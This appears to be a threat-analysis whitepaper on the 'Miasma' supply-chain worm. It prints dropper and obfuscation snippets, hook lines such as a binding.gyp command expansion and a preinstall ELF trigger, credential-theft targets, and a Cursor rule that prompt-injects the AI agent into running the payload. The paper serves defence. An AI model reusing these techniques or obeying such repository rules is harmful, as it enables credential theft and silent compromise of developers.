

Ephemeral Malware: When Malware Evolves Faster Than Cyber Defenses

The Miasma Worm Case Study

Cookie Engineer, Independent Security Researcher

June 30, 2026

Abstract

In June 2026, a coordinated Advanced Persistent Threat (APT) campaign designated *Miasma* demonstrated a new class of cyber threat: *ephemeral malware*. Unlike traditional malware that is deployed once and subsequently detected and catalogued by signature-based tooling, ephemeral malware mutates its implant architecture, delivery mechanism, and command-and-control (C2) infrastructure on a 48-hour cycle, much faster than human incident response workflows can contain it.

Over a two-week period, the Miasma worm traversed five package ecosystems (npm, PyPI, Composer, AUR, Pacman), three programming language runtimes (JavaScript/Bun, Python, Go), four AI-assisted integrated development environments (IDEs) (Claude Code, Gemini CLI, Cursor, VS Code), and deployed the first documented eBPF rootkit in a coordinated supply chain attack.

This whitepaper presents a comprehensive timeline and technical analysis of the Miasma campaign, documents the systematic failure of signature-based and trust-ratio-based supply chain defenses, and proposes a *Cyber Security as Code* (CSaC) framework for agentic purple-team operations capable of matching the operational tempo of adaptive threat actors.

Contents

1	Introduction: The Rise of Ephemeral Threats	3
1.1	Defining the Ephemeral Malware Paradigm	3
1.2	The Strategic Context: Maskirovka and APT Tradecraft	3
2	The Miasma Campaign Timeline	4
2.1	Overview	4
2.2	Phase 1: Miasma Blight - The AI IDE Attack Surface	4
2.2.1	Initial Compromise	4
2.2.2	The Parallel GitHub Source-Repository Arm	5
2.2.3	Dropper Architecture	5
2.2.4	Blast Radius	6
2.2.5	Exfiltration Markers	6
2.3	Phase 2: Miasma Hades - PyPI Ecosystem Expansion	6
2.3.1	Hades 1: Initial PyPI Injection	6
2.3.2	Hades 2: The .pth Startup Hook	6
2.3.3	Exfiltration Markers	7
2.4	Phase 3: Miasma Atomic Arch - The AUR Campaign	7
2.4.1	Atomic Arch 1: Orphaned Package Takeover	7
2.4.2	The deps ELF Binary	7
2.4.3	The eBPF Rootkit - Scales	8

2.4.4	Atomic Arch 2: Bash Obfuscation Evasion	9
2.4.5	Atomic Arch 3: Community Weaponization	9
2.5	Phase 4: Pacman and Go Ecosystem Expansion	9
2.5.1	Miasma Pacman 1: System-Level Pacman Hooks	9
2.5.2	Miasma Pacman 2: Deep Kernel Hiding	9
2.5.3	Miasma Go	10
3	The Miasma Stealer: The Unguessable Attack Surface	10
3.1	Credential Harvesting Scope	10
3.2	Exfiltration Architecture	11
3.2.1	Per-Victim Key Derivation	11
3.2.2	Operational Tempo	11
4	The Miasma Worm: The Infinite Spread Vector	12
4.1	Filesystem Propagation	12
4.2	IDE Auto-Start as a Persistence Mechanism	12
4.2.1	Microsoft’s Failed Mitigation	12
4.3	The GitHub C2 Paradox	13
5	The Miasma Dropper: Adaptive Dropper Engineering	13
5.1	Cross-Ecosystem Adaptation Pattern	13
5.2	The Multi-Programming-Language Payload Strategy	13
5.3	The Temporary File Lifecycle	14
6	The Collapse of Signature-Based Cyber Defense	14
6.1	The Failure of Trust-Ratio Approaches	14
6.2	The Missing Behavioral Sandboxing of Package Ecosystems	15
6.2.1	Network Sandboxing Is Insufficient	15
6.2.2	The Case for Build-Time Finalization	15
6.3	The Human-in-the-Loop Bottleneck	16
7	Our Proposal: Agentic Purple Team Meets Blue Team	16
7.1	Threat-Informed Defense at Adversarial Tempo	16
7.2	Cyber Security as Code: Our Proposed Framework	16
7.2.1	Design Principles	16
7.2.2	Architectural Components	17
7.2.3	Integration into Package Ecosystems	17
7.2.4	Allowlist-per-Endpoint vs. Allowlist-per-Feature	18
7.3	Mandatory Reproducible Build Pipelines	18
7.4	Towards Cyber Security as Code	18
8	Conclusion	19
9	References	20
10	Acknowledgments	21

1 Introduction: The Rise of Ephemeral Threats

1.1 Defining the Ephemeral Malware Paradigm

Traditional malware operates on a predictable lifecycle: deployment, detection, signature extraction, and containment. The malicious artifact - a binary, a script, a package - is treated as a static entity.

Once its cryptographic hash or behavioral fingerprint is identified, downstream defenses (end-point detection and response, security information and event management, antivirus engines) can block it across the defended estate.

Ephemeral malware breaks this model. It is characterized by:

1. **Adaptive implant architecture.** The malware's payload, obfuscation scheme, cryptographic keys, and delivery mechanism are recompiled or regenerated for every deployment wave, ensuring that no two waves produce identical artifacts.
2. **Reactive kill chain mutation.** When a package ecosystem maintainer introduces a mitigation, the malware operators adapt the implant within 24–48 hours to bypass the new control. The feedback loop is faster than the defender's decision cycle.
3. **Multi-vector propagation.** The malware does not rely on a single attack surface. It spreads through package registries, git repositories, IDE auto-start hooks, CI/CD pipelines, and kernel-level rootkits simultaneously or in rapid succession.
4. **Cryptographic per-victim C2 isolation.** Data exfiltration channels are derived from per-victim symmetric encryption keys, making network-based detection and sinkholing infeasible because each victim communicates with a unique, unpredictable endpoint.

The Miasma campaign of June 2026 is the first fully documented instance of a production ephemeral malware campaign. Over fourteen days, it executed eleven discrete mutation waves, each forcing defender ecosystems to react to a threat that had already evolved.

1.2 The Strategic Context: Maskirovka and APT Tradecraft

The operational tempo and coordination observed in the Miasma campaign are consistent with Russian military doctrine of *Maskirovka* - strategic deception, concealment, and disinformation. In the cyber domain, Maskirovka manifests as:

- **Operational noise generation.** Multiple simultaneous campaigns across different ecosystems create confusion about which vector is the primary attack and which are diversions.
- **Identity laundering.** Compromised credentials from one victim are used within hours to compromise the next, making attribution chains circular.
- **Community weaponization.** In the Atomic Arch phase, the operators mobilized Russian-speaking script-kiddie communities (their *RSL* - Russian-speaking Legion) to generate a denial-of-service effect against package maintainers through mass spam and ragebait, delaying coordinated defensive action.

The MITRE ATT&CK framework identifies APT28 (Fancy Bear, Sofacy) and APT29 (Cozy Bear, The Dukes) as Russian state-sponsored groups with a history of supply chain targeting.

The Miasma campaign's operational signatures - the use of npm as an initial vector, credential harvesting focused on developer and CI/CD secrets, and onion-routed C2 infrastructure - are consistent with the tradecraft evolution observed in prior APT28/29 operations, including the

2020 SolarWinds (SUNBURST) compromise and the 2023 JetBrains TeamCity exploitation campaign [13].

Additionally, all Miasma implants feature the typical `ru_RU.UTF-8` and `ru_RU.KOI8R` operating system language (`process.env["LANG"]`) killswitch mechanism.

2 The Miasma Campaign Timeline

2.1 Overview

The Miasma campaign unfolded across four named phases between June 1 and June 14, 2026. Each phase introduced a new or modified implant that targeted a different package ecosystem, programming language runtime, or propagation mechanism. Table summarizes the eleven waves.

Phase	Date Range	Implant	Vector
Miasma Blight	June 1–3	<code>.github/setup.js</code>	npm packages, AI IDE auto-start hooks (Claude Code, Gemini CLI, Cursor, VS Code)
Miasma Hades 1	June 3–5	<code>_index.js</code>	PyPI wheels via <code>pip install</code> , Python site-package injection
Miasma Hades 2	June 5–7	<code>*-setup.pth</code>	PyPI wheel startup hooks, Composer/PHP <code>composer run</code> scripts
Miasma Atomic Arch 1	June 7–9	<code>deps</code> (ELF)	Orphaned AUR package takeover, <code>bun add</code> PKGBUILD injection
Miasma Atomic Arch 2	June 9–10	Obfuscated PKGBUILD	Bash string-type command obfuscation in PKGBUILD
Miasma Atomic Arch 3	June 10–11	Mass AUR spam	RSL community mobilization, ragebait attacks on maintainers
Miasma Pacman 1	June 11–12	eBPF rootkit (<code>scales</code>)	Pacman hooks (<code>pre_install</code> , <code>post_install</code>), eBPF filesystem scanner
Miasma Pacman 2	June 12–13	eBPF process hiding	Kernel-level process/socket concealment via pinned BPF maps
Miasma Go	June 13–14	<code>go:generate</code> hijack	Go package injection, randomized implant selection

2.2 Phase 1: Miasma Blight - The AI IDE Attack Surface

2.2.1 Initial Compromise

On June 1, 2026, Red Hat disclosed a supply chain compromise affecting multiple packages published under the `@redhat-cloud-services` npm namespace [1]. The attacker had used a compromised GitHub personal access token (PAT) to push unauthorized commits that injected malicious configuration files into the repositories. The npm registry arm published 57 malicious packages across 286 versions, hiding the payload trigger in `binding.gyp` files to evade lifecycle script scanners [5, 6].

The `binding.gyp` evasion technique exploited a behavior in the `node-gyp` build system. If a package contains a `binding.gyp` file at its root and has no custom `preinstall` or `install`

scripts in `package.json`, npm falls back to running `node-gyp rebuild`. During the configuration step, `node-gyp` parses the file and executes any command expansion inside `<!( ... )` syntax directly in the host shell.

The attacker used:

```
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
```

This executed `node index.js` silently before standard script checkers could inspect `package.json` hooks - a detection gap that affected every supply chain security tool in the npm ecosystem.

2.2.2 The Parallel GitHub Source-Repository Arm

Simultaneously, the same worm skipped the npm registry entirely and pushed directly to GitHub source repositories. On June 3, an attacker pushed a commit titled `chore: update dependencies [skip ci]` to `icfloreescu/mantine-datatable` and four sibling repositories - a combined footprint of 1,459 GitHub stars [2].

The commit added no dependencies. It planted a 4.3 MB malware implant and wired it to execute automatically through five developer tools:

- **Claude Code (`.claude/settings.json`):** A `SessionStart` hook that runs `node .github/setup.js` whenever a Claude Code session opens in the project.
- **Gemini CLI (`.gemini/settings.json`):** An identical `SessionStart` hook for Google's Gemini CLI.
- **Cursor (`.cursor/rules/setup.mdc`):** An always-applied project rule that instructs the AI agent to execute the payload, framed as a project setup requirement. This is a prompt injection attack that ships in the repository.
- **VS Code (`.vscode/tasks.json`):** A task configured with `runOn: "folderOpen"`, executing the payload with no AI agent involvement required.
- **npm test script (`package.json`):** A hijacked `test` script that executes the payload on every CI/CD runner.

2.2.3 Dropper Architecture

The dropper (`.github/setup.js` or `_index.js`) employed a multi-stage loader with rotating cryptographic keys. The outermost layer was a single `eval` statement that constructed a string from a character-code array, applied a Caesar cipher shift, and passed the result to `eval`:

```
try {
  eval(
    (function (s, n) {
      return s.replace(/[a-zA-Z]/g, function (c) {
        var b = c <= 'Z' ? 65 : 97;
        return String.fromCharCode(((c.charCodeAt(0) - b + n) % 26) + b);
      });
    })([/* ... 1.3M entries ... */].map(function (c) {
      return String.fromCharCode(c);
    }).join(''), 4)
  );
} catch (e) { }
```

The decoded first stage imported `node:crypto`, performed AES-128-GCM decryption of two hardcoded blobs (`_b` - a Bun bootstrapper, and `_p` - the worm payload), wrote `_p` to a random temporary file (`/tmp/p<rand>.js`), and executed it under the Bun JavaScript runtime. If Bun was not installed, the bootstrapper downloaded a pinned Bun release (`bun-v1.3.13`) directly from the official GitHub mirror and marked it as executable.

The dropper was recompiled per victim or per wave. The Caesar cipher shift, AES keys, and resulting file hash rotated between waves. Across the Blight phase, three distinct `setup.js` SHA-256 hashes were observed across four separate accounts [2].

2.2.4 Blast Radius

GitHub code search indexed 123 repositories across dozens of accounts carrying both `.claude/settings.json` and `.gemini/settings.json` with the `node .github/setup.js` hook. The compromise spanned personal projects, the official Microsoft Azure `durabletask` repository (1,718 stars), and 73 Microsoft-affiliated repositories that were disabled in a 105-second automated sweep by GitHub’s abuse detection system on June 5 [4].

The Microsoft compromise was particularly instructive. The attacker used a stolen PAT from a legitimate Microsoft contributor, backdated the commit timestamp to March 2020 to hide in a dormant branch, and used a `[skip ci]` tag to suppress CI pipeline execution. The same contributor’s credentials had been used in the May 19 PyPI attack on Microsoft’s `durabletask` package, indicating either incomplete credential rotation or re-compromise through the worm’s own propagation loop [4].

2.2.5 Exfiltration Markers

The Miasma payload used Github exfiltration markers, including repository descriptions of `Miasma: Share the Blight` and generated repository-name components, based on words derived by the AES-128-GCM encryption key.

2.3 Phase 2: Miasma Hades - PyPI Ecosystem Expansion

2.3.1 Hades 1: Initial PyPI Injection

Between June 3 and 5, the campaign expanded to the Python Package Index (PyPI). The *Hades* phase introduced a new implant file (`_index.js`) that used the same AES-128-GCM loader architecture as the Blight dropper, repurposed for Python package delivery. Socket identified 37 malicious PyPI wheels across 19 packages, including high-impact bioinformatics tools with hundreds of thousands of cumulative downloads [3].

The initial Hades delivery mechanism injected the implant through a malicious `pip` package that spread across all locally installed site-packages and git repositories on the compromised filesystem. The worm now executed on `pip install` of any dependency of any dependency - a transitive propagation model that made containment by package removal infeasible because the infection graph was unknowable without a full filesystem audit.

The implant also added support for Composer and PHP packages, using the `composer run` script to infect PHP projects [11].

2.3.2 Hades 2: The `.pth` Startup Hook

After PyPI maintainers began quarantining the initial Hades packages, the implant adapted. The second Hades wave (June 5–7) introduced a fundamentally more dangerous delivery mechanism: the `*-setup.pth` file.

Python's `site` module processes `.pth` files during interpreter startup. Lines beginning with `import` followed by a space or tab are executed. This gives attackers an automatic startup execution primitive after `pip install`, without requiring the victim to import the compromised package. The execution trigger occurs on the next `python`, `pip`, test run, notebook kernel, CI job, or package-management command that starts Python [3].

The `.pth` loader performed the following sequence:

1. Created a sentinel at `tempfile.gettempdir()/.bun_ran` to prevent repeated execution.
2. Located the `_index.js` payload adjacent to the package in site-packages.
3. Downloaded Bun v1.3.13 from GitHub if no cached Bun binary existed.
4. Executed `bun run _index.js`.
5. Wrote the sentinel with a timestamp to avoid re-execution.

The `.pth` mechanism is the Python equivalent of the npm install-hook problem that Shai-Hulud and Miasma had repeatedly exploited. Unlike npm's lifecycle scripts, which at least have a degree of tooling awareness, `.pth` files are distributed inside compressed WHL (ZIP) archives, making them invisible to static analysis tools that only inspect `package.json` or `setup.py` files.

2.3.3 Exfiltration Markers

The Hades payload used Hades/underworld-themed GitHub exfiltration markers, including repository descriptions of Hades - The End for the Damned and generated repository-name components, based on the words derived by the AES-128-GCM encryption key [3].

2.4 Phase 3: Miasma Atomic Arch - The AUR Campaign

2.4.1 Atomic Arch 1: Orphaned Package Takeover

On June 7, the campaign pivoted to the Arch User Repository (AUR). The attacker implemented an automated botnet capable of adopting orphaned AUR packages within 24 hours of nobody intervening, making all currently orphaned packages (408 in the initial wave) a potential threat vector [7, 9].

The first Atomic Arch implant injected commands into PKGBUILD files, hijacking the `build()`, `prepare()`, and `package()` functions to download and install a malicious npm package (`atomic-lockfile` version 1.4.2). This package contained a Linux ELF malware binary (`deps`, 3,040,376 bytes) wired into npm's `preinstall` lifecycle hook:

```
"preinstall": "./src/hooks/deps"
```

The PKGBUILD injection used a deceptive technique:

The implant added `bun add <random-package> <infected-package> <random-package>` in randomized orders, making it unclear to maintainers which package was the actual infection vector. The visible change was a `bun add` command with three packages, two of which were legitimate - a deliberate obfuscation designed to slow down human triage efforts.

2.4.2 The deps ELF Binary

The `deps` binary (SHA-256: 6144d433f8...) was a Rust-compiled Linux credential stealer with the following capabilities [7, 8]:

- **Credential harvesting:** Enumerated Chromium-family browser profiles and Electron application data, extracted cookies and service tokens from SQLite databases and LevelDB stores, queried Slack, Microsoft Teams, Discord, GitHub, npm, and OpenAI/ChatGPT APIs with stolen tokens or cookies.

- **Filesystem exfiltration:** Searched for SSH keys, shell history files, Vault tokens, Docker/Podman credentials, VPN material, and developer secrets. Filtered out noisy directories (`node_modules`, `target`, `__pycache__`).
- **C2 infrastructure:** Encoded an onion service C2 endpoint (`olrh4mib*.onion`) via a repeating XOR decode path at runtime. Communicated via `POST /api/agent` through a local loopback/SOCKS transport layer.
- **Data upload:** Uploaded collected results to `temp.sh` via `POST /upload`.
- **Persistence:** Installed per-user or system-level systemd service units with `Restart=always` and `RestartSec=30`. The generated service names were not stored as plaintext full paths, complicating automated remediation.
- **Staging:** Contained a downloader path tied to `/usr/bin/monero-wallet-gui`, suggesting cryptominer staging capabilities through the onion C2 channel.

2.4.3 The eBPF Rootkit - Scales

The most significant technical innovation of the Atomic Arch phase was the embedding of a full eBPF rootkit, internally codenamed *Scales*, embedded inside the `deps` binary. Analysis by sha0coder recovered the complete eBPF object from the binary’s `.rodata` section using a static ELF carving technique [8].

The rootkit’s build path was recovered from unstripped DWARF debug information:

```
/cloud/scales/agent/../../ebpf/scales.bpf.c
```

This leaked the attacker’s internal project structure: `/cloud/scales/` as the project root, with `agent/` (the Rust loader) and `ebpf/` (the kernel-side program) directories.

The eBPF object (SHA-256: `3607de2597...`, 52,776 bytes) attached to the following kernel tracepoints [8]:

Tracepoint	Purpose
<code>sys_{enter,exit}_getdents64</code>	Hide files and processes from directory listings
<code>sys_{enter,exit}_openat,</code> <code>sys_{enter,exit}_read, sys_enter_close</code>	Scrub <code>/proc/net</code> entries
<code>sys_{enter,exit}_recvmsg</code>	Filter netlink socket diagnostic messages (hide sockets from <code>ss</code>)
<code>sys_{enter,exit}_socket</code>	Track socket file descriptors
<code>sys_enter_ptrace</code>	Kill attempted <code>ptrace</code> attachments against hidden processes (anti-debug)
<code>sched_process_exec</code>	Persist process cloaking across <code>exec()</code> calls

The rootkit pinned BPF maps to `/sys/fs/bpf/`:

- `hidden_pids`
- `hidden_names`
- `hidden_inodes`

This is the first documented deployment of an eBPF rootkit in a coordinated supply chain attack. While eBPF rootkits had been demonstrated in academic research [14], the Miasma campaign represents the first confirmed operational use against production targets.

2.4.4 Atomic Arch 2: Bash Obfuscation Evasion

AUR maintainers responded by building automated checks for `bun add` and `bun` commands inside PKGBUILD files and git repositories. Within 48 hours, the implant adapted by obfuscating its bash calls using bash's stringly typed functionality.

The obfuscation technique constructs commands using a mixture of:

- Double-quoted strings: `"b"`
- Single-quoted strings: `'u'`
- Hex escape sequences: `'\x6e'`
- Randomized ordering of the above

A command like `bun add <package>` becomes something like this:

```
$"b"'u'"'\x6e"' 'a'"d'"'\x64' " <pkg>"
```

The letter encoding and ordering was randomized per wave. This makes the command string impossible to match with regex-based detection because no two PKGBUILD files contain the same obfuscation pattern.

2.4.5 Atomic Arch 3: Community Weaponization

After AUR maintainers introduced mandatory approval for newly registered accounts (effectively blocking the botnet from creating fresh accounts), the attackers mobilized their RSL (Russian-speaking Legion) community. This constituted a denial-of-service attack on maintainer attention:

- Mass spamming of git repositories with seemingly randomized Russian messages.
- Takeover attempts on other AUR git repositories.
- Ragebait messages targeting individual maintainers, designed to provoke emotional responses and mistakes.

The messages followed a consistent pattern - taunting Arch Linux users and praising Windows 7 - but used randomized phrasing to avoid automated filtering. The volume and velocity of the spam wave overwhelmed the AUR's volunteer maintainer community [12].

2.5 Phase 4: Pacman and Go Ecosystem Expansion

2.5.1 Miasma Pacman 1: System-Level Pacman Hooks

On June 11, the implant expanded from AUR source packages to system-level Pacman binary packages. The malware began distributing via Pacman's hook mechanism, placing malicious scripts in `/var/lib/pacman/` that executed on `pre_install`, `post_install`, `pre_upgrade`, `post_upgrade`, `pre_remove`, and `post_remove` events.

This phase also introduced the eBPF rootkit's filesystem scanner: when loaded, the rootkit scanned all mounted filesystems, infected all other packages and repositories found on the filesystem, and included an automatically backported stealer (previously written in JavaScript for Bun and Node.js).

2.5.2 Miasma Pacman 2: Deep Kernel Hiding

By June 12, the eBPF rootkit had been enhanced to hide its own process names and identifiers, making the malware invisible to classical tooling like `bpftool`, `ps -ef`, `ss`, and `/proc` inspection.

On compromised hosts where the eBPF component was active, live response tools could not observe the malware process or its sockets.

The detection gap was significant: the only way to detect the rootkit was to first install advanced eBPF tooling (which would then prevent the installation of other eBPF modules), creating a bootstrap problem for incident responders.

2.5.3 Miasma Go

The final mutation wave (June 13–14) added support for Go packages. The implant automatically injected `go:generate` directives into randomly selected files in discovered Go repositories:

```
//go:generate <malicious command>
```

The randomization of the injection point made it impossible to predict where a codebase had been infected. Additionally, the implant dynamically chose whether to use the Bun-based JavaScript implant or the eBPF-based native implant for each target, based on runtime conditions that were not recoverable through reverse engineering.

3 The Miasma Stealer: The Unguessable Attack Surface

3.1 Credential Harvesting Scope

The Miasma stealer component was a broad-spectrum credential harvester targeting developer and CI/CD secrets. The recovered payload [3, 7] targeted:

Code Repositories and Package Registries:

- GitHub personal access tokens
- GitHub Actions runner secrets
- GITHUB_TOKEN environment variables
- GitHub App tokens
- JFrog, npm, Rubygems, PyPI publishing tokens
- CircleCI tokens
- Git credential helpers (`.git-credentials`, `.gitconfig`)

Cloud Infrastructure:

- AWS credentials (access keys, session tokens, STS identity)
- GCP service account keys and access tokens
- Azure service principal credentials and Key Vault material
- Kubernetes service account tokens (`kubeconfig`, `~/.kube/config`)
- HashiCorp Vault tokens and secrets

Communication Platforms:

- Slack session tokens (cookie d values, `xoxc-*` tokens)
- Microsoft Teams session tokens (`skypeToken`, `Authorization: Bearer` headers)
- Discord tokens from Electron application storage

Development Environments:

SSH private keys (`id_rsa`, `id_ed25519`, `id_ecdsa`), PuTTY private key material, shell histories (`.bash_history`, `.zsh_history`, `.fish_history`), Docker configuration (`~/.docker/config.json`), Podman registry credentials, VPN profiles (`.ovpn` files), browser

and Electron application LevelDB/SQLite credential stores, and AI service tokens (Anthropic API keys, OpenAI API keys).

Environment Variables:

- Claude/Gemini/VSCode/MCP configuration files
- `.env`, `.npmrc`, `.pypirc` files
- Cloud CLI caches

The stealer applied exclusion filters to avoid noisy directories. The folders and files matching `node_modules`, `target`, `__pycache__`, `.git`, `.ds_store`, `thumbs.db`, `desktop.ini`, `.lock` were filtered, ensuring high signal-to-noise ratio in exfiltrated data.

3.2 Exfiltration Architecture

3.2.1 Per-Victim Key Derivation

The exfiltration mechanism was derived from the payload’s AES-128-GCM encryption key on a per-victim basis. The stealer created attacker-controlled public GitHub repositories with randomized names derived from the encryption key material, making the C2 infrastructure:

- **Impossible to predict:** Without knowledge of the AES key used for a specific victim, the corresponding dead-drop repository name could not be computed.
- **Impossible to block preemptively:** Each exfiltration repository was unique and newly created at runtime.
- **Resistant to sinkholing:** Even if one dead-drop repository was identified and taken down, it contained only the data from a single victim.

The dead-drop repositories used marking descriptors that changed per campaign wave:

- Blight phase: `Miasma - Spread the Blight`, `niagA oG eW ereH :duluH-iahS` (reversed: “Shai-Hulud: Here We Go Again”)
- Hades phase: `Hades - The End for the Damned`

At least three separate GitHub accounts were used as dead-drop infrastructure: `windy629` (200+ repos), `HerGomUli`, and `liuende501` (236 repos) [2, 3].

3.2.2 Operational Tempo

The time from credential compromise to next deployment was consistently under 24 hours. In the Blight source-repository arm, the dead-drop repository `windy629/savage-styx-88946` was created at 22:38:26 UTC, approximately 25 seconds before the first malicious push to `icflorescu/mantine-datatable` at 22:38:51 UTC [2].

The credential was stolen, the loot dumped to a fresh dead-drop, and then the same token was used to compromise the victim’s own repositories - all within a 25-second window.

The lateral movement speed between machines was measured at under 10 seconds. CI/CD runners and IDE auto-start hooks executed the malware implant asynchronously and at different times, creating a continuous re-infection pressure that defeated sequential containment strategies.

4 The Miasma Worm: The Infinite Spread Vector

4.1 Filesystem Propagation

The Miasma worm implemented a recursive filesystem scanner that identified git repositories by their `.git` directory and package projects by their manifest files (`package.json`, `composer.json`, `PKGBUILD`, `go.mod`, `setup.py`, `pyproject.toml`).

For each discovered project, the worm:

1. Inserted the appropriate trigger configuration files for the project's ecosystem (`.claude/settings.json`, `.vscode/tasks.json`, `package.json` modifications, `composer.json` modifications, `PKGBUILD` hijacking, `go:generate` injection).
2. Placed the dropper payload in `.github/setup.js`, `_index.js` or the ecosystem-specific equivalent.
3. Executed `git add`, `git commit`, and `git push` using the victim's credentials, propagating the infection to remote repositories.

The auto-commit and auto-push behavior made it impossible for developers to know what had been compromised. A developer opening their IDE would trigger the worm, which would silently push infected commits to all repositories accessible with the developer's credentials - including organization repositories with a broader access scope, allowing quick lateral movement across machines.

4.2 IDE Auto-Start as a Persistence Mechanism

The worm's use of IDE and AI coding agent auto-start hooks represented a novel persistence vector that defeated traditional endpoint security assumptions.

Unlike a `postinstall` script, which fires once during package installation, or a cron job, which fires on a schedule, the IDE auto-start hook fires *every time a developer opens a project*, an event that occurs dozens of times per day for active developers.

The supported trigger surfaces covered the full spectrum of modern developer tooling:

- **Claude Code:** `SessionStart` hook in `.claude/settings.json`
- **Gemini CLI:** `SessionStart` hook in `.gemini/settings.json`
- **Cursor:** Always-applied project rule in `.cursor/rules/setup.mdc`
- **VS Code:** `folderOpen` task in `.vscode/tasks.json`
- **npm:** `test` script hijack in `package.json`

Each trigger file was under 20 lines of JSON or Markdown and appeared innocuous in a code review diff. The attack exploited a fundamental trust assumption, which is that configuration files in a cloned repository are safe because the repository itself is trusted.

4.2.1 Microsoft's Failed Mitigation

Microsoft's initial response - introducing a 24-hour delay for VS Code extension installations - was ineffective because the Miasma implant did not use extensions as a vector.

The malware was integrated into IDE *auto-start integrations* (tasks, hooks, and rules), not extensions. The delay mechanism protected against a different class of attack while leaving the actual vector fully operational.

This mischaracterization of the threat by a major platform vendor illustrates the fundamental challenge of ephemeral malware: by the time defenders understand the vector, the malware has

already moved on to a different spread vector.

4.3 The GitHub C2 Paradox

The worm’s exfiltration channel - GitHub public repositories - exploited a fundamental asymmetry in network defense. GitHub is:

- **Almost always allowlisted** in developer environments and CI/CD pipelines.
- **Encrypted by default** (TLS), making DPI-based detection ineffective.
- **Classified as benign** by most network security tooling, which treats `github.com` as a trusted domain.

From a Security Operations Center (SOC) perspective, outbound HTTPS traffic to GitHub is indistinguishable from normal developer activity. The worm’s C2 traffic blended perfectly with legitimate `git push`, `git fetch`, and `npm install` network traffic. Network sandboxing was therefore insufficient as a mitigation. The C2 channel was already inside the trusted perimeter.

Additionally, the Hades phase introduced a secondary camouflage exfiltration path: the payload sent data to `https://api.anthropic.com/v1/api`, a legitimate Anthropic API endpoint. The route returned Anthropic’s standard `404 not_found_error`, confirming it was not a live route. The purpose was assessed as network-log camouflage, trying to mask the traffic as a ubiquitous AI-vendor host that blends in and is impractical to blanket-block [3].

5 The Miasma Dropper: Adaptive Dropper Engineering

5.1 Cross-Ecosystem Adaptation Pattern

The most operationally significant characteristic of the Miasma campaign was the dropper’s ability to adapt its delivery mechanism within 24–48 hours of ecosystem maintainers deploying a mitigation. Table summarizes the reactive adaptation pattern.

Table 1: Reactive adaptation of the Miasma dropper mechanism against ongoing ecosystem mitigations.

Mitigation by Maintainers	Response by APT	Mechanism of Adaptation
npm script scanning	<code>binding.gyp</code> hijack	Moved execution from <code>package.json</code> scripts to build system config files.
PyPI package quarantine	<code>setup.pth</code> startup hook	Moved execution from <code>pip install</code> -time to interpreter startup-time <code>.pth</code> file.
AUR bun add scanning	Bash string obfuscation	Obfuscated bash commands using mixed quoting and hex escape sequences.
AUR user registration block	RSL community mobilization	Shifted from automated botnet deployment to human-powered spam and takeover attempts.

5.2 The Multi-Programming-Language Payload Strategy

By the campaign’s conclusion, the Miasma implant had achieved *extreme polyglotism*. A single infection could spread through npm (JavaScript/Bun), PyPI (Python/`.pth`), Composer (PHP), AUR/Pacman (Bash/shell), and Go (`go:generate`) packages simultaneously.

The implant did not differentiate between these ecosystems - it infected everything it could find across the filesystem.

Initially, the Bun JavaScript runtime was the campaign's critical dependency. Every dropper variant before the final Pacman package integrations used the same strategy:

1. Check if Bun is installed.
2. If not, download a pinned Bun binary from <https://github.com/oven-sh/bun/releases>.
3. Execute the JavaScript payload under Bun.

Bun was chosen because it ships its own TypeScript runtime, `fetch` API, crypto, and shell utilities, meaning the payload needed nothing from the host beyond the downloaded binary. This made the implant portable across Linux, macOS, and Windows (x86-64 and ARM64) without modification - an *isomorphic payload* that worked on every operating system and architecture supported by Node.js or Bun.

5.3 The Temporary File Lifecycle

All dropper variants used the same temporary file pattern:

1. Decrypt the payload to `/tmp/p<random>.js`.
2. Download Bun to `/tmp/b-<random>/bun` if not present.
3. Execute the payload.
4. Write a sentinel file (`.bun_ran`) to prevent re-execution.

The use of random suffixes in temporary file paths made filesystem-based detection indicators unreliable across executions.

6 The Collapse of Signature-Based Cyber Defense

6.1 The Failure of Trust-Ratio Approaches

The Miasma campaign exposed fundamental flaws in the trust-ratio model that underpins most supply chain security tooling. Tools such as Socket, Snyk, SafeDep, and GitHub's Dependabot rely on:

- **Maintainer reputation:** Packages maintained by established accounts with long histories are scored as lower risk.
- **Download counts:** High-download packages are presumed legitimate.
- **Version history:** Packages with consistent release histories are trusted.
- **Dependency analysis:** Direct dependencies are analyzed but transitive chains beyond depth 2-3 are often unexamined.

The Miasma worm defeated every one of these heuristics:

- **Maintainer reputation:** By stealing credentials and reusing them within minutes, the worm published from legitimate, established accounts. The compromised `@redhat-cloud-services` packages were published by Red Hat maintainers. The compromised Microsoft packages were published by a real Microsoft contributor. Trust-ratio scoring *increased* the confidence score of the most dangerous packages.
- **Download counts:** The worm targeted high-download packages specifically because their install base provided maximal propagation. The `@vapi-ai/server-sdk` package had 408,000+ monthly downloads.

- **Version history:** The worm published semver-conforming patch releases (e.g., 1.4.1 → 1.4.2 → 1.4.3) that appeared to be routine maintenance updates.
- **Dependency analysis:** The worm infected dependencies of dependencies, exploiting the fact that most tooling does not recursively scan the full transitive closure of the dependency graph.

6.2 The Missing Behavioral Sandboxing of Package Ecosystems

The root cause of the Miasma campaign’s success is architectural: every major package ecosystem allows arbitrary code execution at installation time or inclusion time, with no enforceable limits on what that code can do or execute.

Table 2: Attack surfaces in affected package managers.

Ecosystem	Execution Attack Surface	Limitations (as of June 2026)
npm	node-gyp build	No filesystem or network sandbox. Optional ignore flags.
npm	preinstall, install, postinstall scripts	No filesystem or network sandbox. Optional ignore flags.
pip	setup.py, pth files, wheel install hooks	No filesystem or network sandbox. <code>.pth</code> execution at interpreter startup.
composer	composer run scripts, plugin system	No filesystem or network sandbox. Restrictions on execution.
makepkg	build, prepare, package functions	No filesystem or network sandbox. <code>makepkg</code> execution as the user.
pacman	pre/post install, upgrade, or remove	No filesystem or network sandbox. Hijacked hooks execution as <code>root</code> user.
go mod	go generate directives	No filesystem or network sandbox. Restrictions on execution.

6.2.1 Network Sandboxing Is Insufficient

The Miasma campaign demonstrated that network sandboxing alone cannot prevent this class of attack. The worm’s C2 channel was GitHub - a domain that must be network-accessible for the legitimate operation of almost all software development workflows.

Blocking `github.com` would break `git clone`, `npm install`, `go get`, and CI/CD pipelines. An allowlist-based network policy is therefore not viable for developer environments.

The Hades phase’s use of `api.anthropic.com` as a camouflage exfiltration destination further illustrates the problem. AI API endpoints are becoming as essential to development workflows as source control. A network policy that blocks all AI vendor APIs would be rejected by developers; a policy that allows them cannot distinguish between legitimate and malicious traffic.

6.2.2 The Case for Build-Time Finalization

